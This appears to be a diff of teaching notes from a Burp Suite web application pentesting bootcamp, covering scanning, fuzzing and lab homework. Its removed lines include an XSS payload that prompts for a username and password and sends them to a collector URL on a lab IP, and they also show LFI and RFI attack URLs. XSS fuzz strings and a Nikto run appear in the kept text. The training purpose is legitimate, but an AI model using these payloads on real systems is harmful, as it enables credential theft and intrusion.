| 409 | ||
| 410 | ############################################################### | |
| 411 | # Question 1: What is the process that you use when you test? # | |
| 412 | ############################################################### | |
| 413 | ||
| 414 | Step 1: Automated Testing | |
| 415 | ||
| 416 | Step 1a: Web Application vulnerability scanners | |
| 417 | ----------------------------------------------- | |
| 418 | - Run two (2) unauthenticated vulnerability scans against the target | |
| 419 | - Run two (2) authenticated vulnerability scans against the target with low-level user credentials | |
| 420 | - Run two (2) authenticated vulnerability scans against the target with admin privileges | |
| 421 | ||
| 422 | The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix). | |
| 423 | ||
| 424 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 424 | + | |
| 425 | http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html | |
| 426 | - | ------------------------------------------------------------------------------------- |
| 426 | + | |
| 427 | ||
| 428 | Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue. | |
| 429 | ||
| 430 | When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue. | |
| 431 | ||
| 432 | ||
| 433 | - | Option 1 |
| 433 | + | |
| 434 | - | -------- |
| 434 | + | |
| 435 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 435 | + | |
| 436 | Also, be sure to save the scan results and logs. I usually provide this data to the customer. | |
| 437 | ||
| 438 | ||
| 439 | ||
| 440 | - | ------------------------------------------------------------------------------------- |
| 440 | + | |
| 441 | ------------------------------- | |
| 442 | I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc). | |
| 443 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 443 | + | |
| 444 | ||
| 445 | - | ------------------------------------------------------------------------------------- |
| 445 | + | |
| 446 | Step 2: Manual Testing | |
| 447 | ||
| 448 | - | Option 2 |
| 448 | + | |
| 449 | - | -------- |
| 449 | + | |
| 450 | - | -------------------------Paste this into Firefox----------------------------------- |
| 450 | + | |
| 451 | Save the spider and scan results. I usually provide this data to the customer as well. | |
| 452 | - | username=prompt('Please enter your username',' ');
|
| 452 | + | |
| 453 | - | password=prompt('Please enter your password',' ');
|
| 453 | + | |
| 454 | - | document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
|
| 454 | + | |
| 455 | Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'. | |
| 456 | - | ------------------------------------------------------------------------------------- |
| 456 | + | |
| 457 | Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value. | |
| 458 | ||
| 459 | Here is what I mean: | |
| 460 | http://www.site.com/page.aspx?parametername=parametervalue | |
| 461 | - | http://45.63.104.73/xss_practice/username_password_logs.html |
| 461 | + | |
| 462 | When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this: | |
| 463 | ||
| 464 | http://www.site.com/page.aspx?parametername=[ payload ] | |
| 465 | ||
| 466 | - | ######################################### |
| 466 | + | |
| 467 | - | # Let's try a local file include (LFI) # |
| 467 | + | |
| 468 | - | ######################################### |
| 468 | + | |
| 469 | - | - Here is an example of an LFI |
| 469 | + | |
| 470 | - | - Open this page in Firefox: |
| 470 | + | |
| 471 | - | -------------------------Paste this into Firefox----------------------------------- |
| 471 | + | |
| 472 | - | http://45.63.104.73/showfile.php?filename=contactus.txt |
| 472 | + | |
| 473 | - | ------------------------------------------------------------------------------------- |
| 473 | + | |
| 474 | ||
| 475 | ||
| 476 | - | - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt) |
| 476 | + | |
| 477 | - | - Here you see a direct reference to a file on the local filesystem of the victim machine. |
| 477 | + | |
| 478 | - | - You can attack this by doing the following: |
| 478 | + | |
| 479 | - | -------------------------Paste this into Firefox----------------------------------- |
| 479 | + | |
| 480 | ########################################### | |
| 481 | - | ------------------------------------------------------------------------------------- |
| 481 | + | |
| 482 | ||
| 483 | Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do. | |
| 484 | - | - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from |
| 484 | + | |
| 485 | - | - somewhere else on the Internet. Here is an example of a text file on the web: |
| 485 | + | |
| 486 | - | -------------------------Paste this into Firefox----------------------------------- |
| 486 | + | |
| 487 | - | http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt |
| 487 | + | |
| 488 | - | ------------------------------------------------------------------------------------- |
| 488 | + | |
| 489 | ||
| 490 | - | - Now we can attack the target via RFI like this: |
| 490 | + | |
| 491 | - | -------------------------Paste this into Firefox----------------------------------- |
| 491 | + | |
| 492 | - | http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt |
| 492 | + | |
| 493 | - | ------------------------------------------------------------------------------------- |
| 493 | + | |
| 494 | ||
| 495 | - Are the fuzz strings causing a WAF or LB custom error message? | |
| 496 | - If this is the case then you need to find an encoding method to bypass | |
| 497 | ||
| 498 | - | # How much fuzzing is enough? # |
| 498 | + | |
| 499 | - Are the fuzz strings causing an error message that discloses the backend type? | |
| 500 | - If yes, then identify DB type and find correct syntax to successfully exploit | |
| 501 | - Some example strings that I use are: | |
| 502 | ' | |
| 503 | " | |
| 504 | () <----- Take the parameter value and put it in parenthesis | |
| 505 | (5-1) <----- See if you can perform an arithmetic function | |
| 506 | ||
| 507 | ||
| 508 | - Are the fuzz strings rendering executable code? | |
| 509 | - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc | |
| 510 | - Some example strings that I use are: | |
| 511 | <b>hello</b> | |
| 512 | <u>hello</u> | |
| 513 | <script>alert(123);</script> | |
| 514 | <script>alert(xss);</script> | |
| 515 | <script>alert('xss');</script>
| |
| 516 | <script>alert("xss");</script>
| |
| 517 | ||
| 518 | ||
| 519 | ||
| 520 | ||
| 521 | ||
| 522 | ||
| 523 | ||
| 524 | ------------------------------------------------------------------------------------------- | |
| 525 | ||
| 526 | ||
| 527 | ||
| 528 | ||
| 529 | ||
| 530 | ||
| 531 | ************************ Class Homework ************************ | |
| 532 | ||
| 533 | Day 1 Homework: | |
| 534 | --------------- | |
| 535 | Here is a good reference of how to use Burp to look for OWASP Top 10 vulnerabilities: | |
| 536 | https://support.portswigger.net/customer/portal/articles/1969845-using-burp-to-test-for-the-owasp-top-ten | |
| 537 | ||
| 538 | ||
| 539 | Use Burp Suite to demonstrate with screenshots and explanations of how to test for the all of the OWASP Top 10 vulnerabilities against your choice of targets the following targets: | |
| 540 | http://45.63.104.73/ | |
| 541 | http://54.245.184.121/ | |
| 542 | - | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 542 | + | |
| 543 | Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day1-Homework.docx) | |
| 544 | ||
| 545 | ||
| 546 | ||
| 547 | ************************ Class Challenge ************************ | |
| 548 | ||
| 549 | Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com | |
| 550 | ||
| 551 | Here are some sample web app penetration test reports from other companies that you can look at: | |
| 552 | https://s3.amazonaws.com/infosecaddictsfiles/WebAppSampleReports.zip | |
| 553 | ||
| 554 | I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project. | |
| 555 | ||
| 556 | --------------------------------------------------------------------------------------------------------- | |
| 557 | ############################# | |
| 558 | # Tricky stuff to play with # | |
| 559 | ############################# | |
| 560 | ||
| 561 | ||
| 562 | ||
| 563 | ||
| 564 | ||
| 565 | ################### | |
| 566 | # Nikto with Burp # | |
| 567 | # in Linux # | |
| 568 | ################### | |
| 569 | ||
| 570 | cd ~/toolz/ | |
| 571 | ||
| 572 | rm -rf nikto* | |
| 573 | ||
| 574 | git clone https://github.com/sullo/nikto.git Nikto2 | |
| 575 | ||
| 576 | cd Nikto2/program | |
| 577 | ||
| 578 | perl nikto -h http://zero.webappsecurity.com -useproxy http://localhost:8080/ | |
| 579 | ||
| 580 | ----------------- | |
| 581 | Masking the Nikto header reference: | |
| 582 | http://carnal0wnage.attackresearch.com/2009/09/btod-nikto-thru-burp-masking-nikto.html |